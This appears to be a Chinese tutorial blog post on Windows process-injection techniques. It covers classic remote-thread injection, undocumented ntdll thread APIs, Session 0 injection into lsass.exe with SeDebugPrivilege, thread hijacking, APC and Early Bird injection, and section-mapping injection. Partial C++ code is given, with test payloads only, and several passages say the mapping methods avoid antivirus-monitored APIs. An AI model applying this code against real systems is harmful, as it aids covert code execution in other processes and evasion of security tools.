前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)
远程线程注入
有Windows编程基础的兄弟应该都比较熟悉这一技术,也算是比较成熟的技术了,实现方式也是多种多样。
简单来说什么是远程线程注入,即一个进程在另一个进程中创建线程的技术,可以分为Dll、代码注入(本文都采用shellcode),其实两者差距不大,
原理都是一样的。
基础知识
我们先来看看几个Windows的API函数。
CreateProcessA
创建一个进程及其主线程,我们使用这个函数主要就是为了自己创建一个进程,这样可以很方便的获得其标识进程或线程的值(当然也可以通过遍历的方式去获取目标标识进程或线程的值)。
MSDN官方文档如下
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-CreateProcessAa
其参数如下
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
函数的具体用法这里不再给出,具体参考MSDN的官方文档即可。
virtualAllocEx
既然我们是远程线程注入,因此在目标程序中肯定需要一块空间,那么我们就需要使用函数去目标进程中申请一块地址空间。
MSDN参考如下
https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
其参数如下
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
WriteProcessMemory
我们有了空间,然后我们还需要把其移动进去,因此我们还需要一个函数WriteProcessMemory(将数据写入指定进程中的内存区域,即我们使用virtualAllocEx获得的内存区域)。
MSDN参考如下
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
参数如下
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
主要就是这几个函数,其实现都不难
CreateRemoteThread经典注入
我们看看MSDN中对于这个函数的解释
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
参数如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
CreateRemoteThread函数共提供有七个参数,这些看官方文档就一目了然了。
我们来看看CreateRemoteThread函数的LPTHREAD_START_ROUTINE lpStartAddress这个参数,我们看看官方的解释是什么,
该参数表示的是远程进程中线程的起始地址,有基础的读者应该很快的明白了,我们需要在远程进程中申请一块虚拟地址
根据前面的基础知识,我们应该就很清楚了。
代码实现
CreateProcessA创建一个进程(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
利用CreateRemoteThread函数创建在上面打开的进程的虚拟地址空间中运行的线程
#include <windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
.....................................
.....................................
.....................................
//在打开的进程中申请一块内存,返回值为基地址
LPVOID Address = VirtualAllocEx(pi.hProcess, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), .....................................
.....................................
.....................................
CloseHandle(Th_Handle);
CloseHandle(pi.hProcess);
return 0;
}
这里我们执行一个弹窗来测试
NtCreateThreadEx注入
NtCreateThreadEx是更底层的API,很显然属于未公开的api,NtCreateThreadEx在32位下和64位下函数原型不一致。
我们任然可以很清楚的看到所需的参数,与CreateRemoteThread函数很类似,对照MSDN的官方手册填写即可
#ifdef _AMD64_
typedef DWORD(WINAPI* functypeNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximunStackSize,
LPVOID pUnkown);
functypeNtCreateThreadEx NtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
#else
typedef DWORD(WINAPI *functypeNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateThreadFlags,
DWORD ZeroBits,
DWORD StackSize,
DWORD MaximumStackSize,
LPVOID pUnkown);
functypeNtCreateThreadEx NtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
#endif // DEBU
代码实现
CreateProcessA创建一个进程(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
利用NtCreateThreadEx函数创建在上面打开的进程的虚拟地址空间中运行的线程
#include <windows.h>
#include <iostream>
using namespace std;
#ifdef _AMD64_
typedef DWORD(WINAPI* functypeNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximunStackSize,
LPVOID pUnkown);
functypeNtCreateThreadEx NtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
#else
typedef DWORD(WINAPI* functypeNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateThreadFlags,
DWORD ZeroBits,
DWORD StackSize,
DWORD MaximumStackSize,
LPVOID pUnkown);
functypeNtCreateThreadEx NtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
#endif // DEBU
int main()
{
.....................................
.....................................
.....................................
//打开指定进程
CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
.....................................
.....................................
.....................................
CloseHandle(pi.hProcess);
return 0;
}
RtlCreateUserThread注入
RtlCreateUserThread其实是对NtCreateThreadEx的包装,话不多说了直接看函数的参数
很清晰了,实现也很简单这里就不多说了
typedef DWORD(WINAPI* pRtlCreateUserThread)( //函数申明
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
代码实现
CreateProcessA创建一个进程(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
利用RtlCreateUserThread函数创建在上面打开的进程的虚拟地址空间中运行的线程
#include <windows.h>
#include <iostream>
using namespace std;
typedef DWORD(WINAPI* pRtlCreateUserThread)( //函数申明
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
int main()
{
.....................................
.....................................
.....................................
//打开指定进程
CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
.....................................
.....................................
.....................................
CloseHandle(pi.hProcess);
return 0;
}
Injection 突破Session 0
假如我们想要注入到lsass进程,我们是否也可以注入成功呢?
这里还需要了解到一个知识点,就是关于SeDebugPrivilege,SeDebugPrivilege是调试权限的程序,开启了这个特权之后可以可以读写system启动的进程的内存,
很显然我们想要dump或者OpenProcess下lsass.exe进程,那么肯定需要SeDebugPrivilege权限
这里就直接给出了,权限提升我另外一篇介绍过,这里用修改访问令牌进行权限提升获得SeDebugPrivilege权限
void GetPrivilege() {
HANDLE TokenHandle = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(TokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(TokenHandle);
}
我们用CreateRemoteThread函数进行测试,函数注入失败
在使用传统的进程注入技术的过程中,可以向普通用户用户进程注入shellcode或dll,那么如果我们想更进一步注入到系统进程内,通常会失败,这是由于session 0隔离的缘故
Session 0会话:在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,第一个登录到控制台的用户来启动服务和应用程序(所有的服务和应用程序都是运行在与第一个登录到控制台的用户得Session中),由于服务是以高权限运行的,所以会造成一些安全风险。
Session 0隔离:从Windows Vista开始应用程序和服务是隔离开来的,即服务在一个叫做Session 0 的特殊Session中承载,应用程序运行在Session 0之后(Session 1、Session 2等),因此是不能互相传递窗体消息,共享UI元素或者共享kernel对象。
ZwCreateThreadEx函数
ZwCreateThreadEx函数比CreateRemoteThread函数更接近内核,CreateRemoteThread最终也是调用ZwCreateThreadEx函数来创建线程的。
ZwCreateThreadEx的第7个参数 CreateSuspended(CreateThreadFlags)的值始终为1,它会导致线程创建完成后一直挂起无法恢复运行,于是我们选择直接调用ZwCreateThreadEx,将第7个参数直接置为0,这样可达到注入目的
函数原型
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwCreateThreadEx");
代码实现
接下来实现就很简单了,这里采用Dll进行注入(因为系统程序中不能显示程序窗体)
#include <windows.h>
#include <iostream>
using namespace std;
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll") , "ZwCreateThreadEx");
void GetPrivilege() {
HANDLE TokenHandle = NULL;
.....................................
.....................................
.....................................
return 1;
}
cout << "OpenProcess Success" << endl;
LPVOID Address = VirtualAllocEx(Handle, NULL, sizeof(DllPath), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (Address == NULL) {
cout << "VirtualAllocEx Error" << endl;
return 1;
}
.....................................
.....................................
.....................................
CloseHandle(hRemoteThread);
CloseHandle(Handle);
FreeLibrary(GetModuleHandleA("Kernel32.dll"));
FreeLibrary(GetModuleHandleA("ntdll.dll"));
return 0;
}
可以看到成功注入Dll
线程劫持注入
顾名思义,我们去劫持指定进程的线程来进行注入代码,整体也很简单,我们先来看看几个Windows的API函数
SuspendThread
挂起指定的线程,非常简单的一个函数,只有一个参数
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread
参数如下
DWORD SuspendThread(
[in] HANDLE hThread
);
可以看出不是很难,大致流程如上,对照MSDN的官方文档即可写出
GetThreadContext
检索指定线程的上下文
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
BOOL GetThreadContext(
[in] HANDLE hThread,
[in, out] LPCONTEXT lpContext
);
SetThreadContext
设置指定线程的上下文,主要就是设置eip\rip指向payload的地址
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
BOOL SetThreadContext(
[in] HANDLE hThread,
[in] const CONTEXT *lpContext
);
ResumeThread
恢复由SuspendThread函数挂起的线程
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread
DWORD ResumeThread(
[in] HANDLE hThread
);
代码实现
CreateProcessA创建一个进程(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
利用SuspendThread函数挂起指定的线程
GetThreadContext函数检索指定线程的上下文
通过SetThreadContext函数设置eip\rip指向payload的地址
最后通过ResumeThread函数恢复挂起的线程
#include <windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
.....................................
.....................................
.....................................
//打开指定进程,为了自动获取PID
CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
//在打开的进程中申请一块内存,返回值为基地址
LPVOID Address = VirtualAllocEx(pi.hProcess, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
.....................................
.....................................
.....................................
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
APC注入
APC(异步过程调用)。每个线程都维护着一个APC链,可以让一个线程在本应该执行的步骤前执行别的代码。
因此我们只需要向目标进程中的线程APC队列中添加APC过程,等线程恢复即可实现APC注入(当然我们可以向进程的所有线程都进行注入,虽然提高了准确率,但是风险性也提高了)
MSDN的参考链接
https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
QueueUserAPC
每个线程都有自己的 APC 队列。应用程序通过调用 QueueUserAPC 函数将 APC排队到线程。调用线程在对QueueUserAPC的调用中指定APC函数的地址。
当用户模式APC排队时,除非它处于可报警状态,否则它排队的线程不会被引导调用APC函数。当线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitFormultipleObjectsOx或WaitForSingleObjectEx函数时,它将进入可报警状态。(即需要让线程进入可告警状态其才会触发)
QueueUserAPC
我们需要使用QueueUserApc这个函数将其添加到指定线程的 APC 队列中,我们看看MSDN上对于这个函数的详细解释
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
函数的参数
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
SleepEx
我们这里使用SleepEx函数让线程进入可告警状态
https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleepex
DWORD SleepEx(
[in] DWORD dwMilliseconds,
[in] BOOL bAlertable
);
该函数也很简单
代码实现
CreateProcessA创建一个进程(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
QueueUserApc这个函数将其添加到指定线程的 APC 队列中
SleepEx函数使线程进入可告警状态
#include <windows.h>
#include <iostream>
using namespace std;
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{
.....................................
.....................................
.....................................
//在打开的进程中申请一块内存,返回值为基地址
LPVOID Address = VirtualAllocEx(pi.hProcess, NULL, sizeof(dllpathy) + 1, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
.....................................
.....................................
.....................................
SleepEx(2000, FALSE);
//关闭线程、进程句柄
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
Early bird
其实大致和上面差不多,只不过这种手法是将打开进程先挂起,然后在进行申请空间,写入然后将APC插入线程,最后恢复挂起的线程。
Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert**,**NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行。
代码实现
CreateProcessA创建一个进程,并将其主线程挂起(目的为了获得其标识进程或线程的值)
通过VirtualAllocEx函数在打开的进程中申请一块内存,返回值为基地址
WriteProcessMemory函数将数据写入上面申请的内存中
QueueUserApc这个函数将其添加到指定线程的 APC 队列中
ResumeThread恢复挂起的线程
#include <windows.h>
#include <iostream>
#include <processthreadsapi.h>
using namespace std;
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{
.....................................
.....................................
.....................................
LPVOID Address = VirtualAllocEx(pi.hProcess, NULL, sizeof(dllpathy) + 1, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
.....................................
.....................................
.....................................
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return 0;
}
映射注入
映射注入是一种内存注入技术,可以避免使用一些经典注入技术使用的API,如VirtualAllocEx,WriteProcessMemory等被杀毒软件严密监控的API,同时创建Mapping对象本质上属于申请一块物理内存,而申请的物理内存又能比较方便的通过系统函数直接映射到进程的虚拟内存里,这也就避免使用经典写入函数,增加了隐蔽性。
我们先来看看几个基础的函数
CreateProcessA
创建一个进程
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-CreateProcessAa
参数如下
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
CreateFileMappingA
其返回值是新创建的文件映射对象的句柄
https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createfilemappinga
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh,
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName
);
MapViewOfFile
将文件映射的视图映射到调用进程的地址空间,返回值为映射视图的起始地址。
https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh,
[in] DWORD dwFileOffsetLow,
[in] SIZE_T dwNumberOfBytesToMap
);
其中hFileMappingObject即是CreateFileMappingA函数的返回值
memcpy
将buf复制到被映射的虚拟地址
MapViewOfFile2
将文件视图或页面文件备份部分映射到指定进程的地址空间。
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile2
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle,
[in] HANDLE ProcessHandle,
[in] ULONG64 Offset,
[in, optional] PVOID BaseAddress,
[in] SIZE_T ViewSize,
[in] ULONG AllocationType,
[in] ULONG PageProtection
);
函数都不难,参照官方文档即可
代码实现
CreateFileMappingA在注入进程创建文件映射对象
MapViewOfFile函数将CreateFileMappingA创建的文件映射对象映射到调用进程的地址空间。
memcpy往被映射的虚拟地址写入shellcode
CreateProcessA创建一个进程,并将其主线程挂起(目的为了获得其标识进程或线程的值,)
MapViewOfFile2将文件视图或页面文件备份部分映射到指定进程的地址空间(CreateProcessA创建的进程)。
QueueUserApc往这个队列中插入一个回调
ResumeThread恢复主线程的运行
#include <windows.h>
#include <memoryapi.h>
#include <winbase.h>
#include <iostream>
using namespace std;
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "OneCore.lib")
int main() {
.....................................
.....................................
.....................................
memcpy(Mappf, dllpathy, sizeof(dllpathy));
.....................................
.....................................
.....................................
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(CreateHanlde);
CloseHandle(Createmapp);
UnmapViewOfFile(Mappf);
return 0;
}
NtCreateSection&NtMapViewOfSection
此技术与映射注入大致流程差不多,但是这个技术更为接近底层,映射注入使用的api本质上是ntdll导出函数的封装,这个注入技术则是直接调用ntdll的导出函数。(NtCreateSection、NtMapViewOfSection)
这种技术与映射注入具有同样的优点,我们可以不使用VirtualAllocEx,WriteProcessMemory经典函数。
我们来看看这两个函数
NtCreateSection
创建Section对象,即具有关联文件的虚拟内存块
NtMapViewOfSection
就是将NtCreateSection函数创建的Section对象,映射到内存中
代码实现
NtCreateSection函数创建Section对象,即具有关联文件的虚拟内存块(RWX)
NtMapViewOfSection将Section对象映射到本地进程内存(RW)
然后NtMapViewOfSection将Section对象又映射到目标进程内存(RX)
memcpy将shellcode复制到本地视图,这将反映在目标进程的映射视图中
利用RtlCreateUserThread函数创建在上面打开的进程的虚拟地址空间中运行的线程,其指向目标进程映射内存的虚拟地址
#include <Windows.h>
#include <iostream>
#include <string.h>
#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
.....................................
.....................................
.....................................
lNtMapViewOfSection fNtMapViewOfSection = (lNtMapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtMapViewOfSection");
typedef DWORD(WINAPI* lRtlCreateUserThread)( //函数申明
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
lRtlCreateUserThread fRtlCreateUserThread = (lRtlCreateUserThread)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
.....................................
.....................................
.....................................
int main()
{
char dllpathy[] = "C:\\1\\Messagebox.dll";
FARPROC myLoadLibraryA = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
.....................................
.....................................
.....................................
//将shellcode复制到本地视图,这将反映在目标进程的映射视图中
memcpy(localSectionAddress, dllpathy, sizeof(dllpathy));
.....................................
.....................................
.....................................
return 0;
}
最后
这只是注入技术的冰山一角,还很多技术没有列举到,在后面的文章中会列举出来。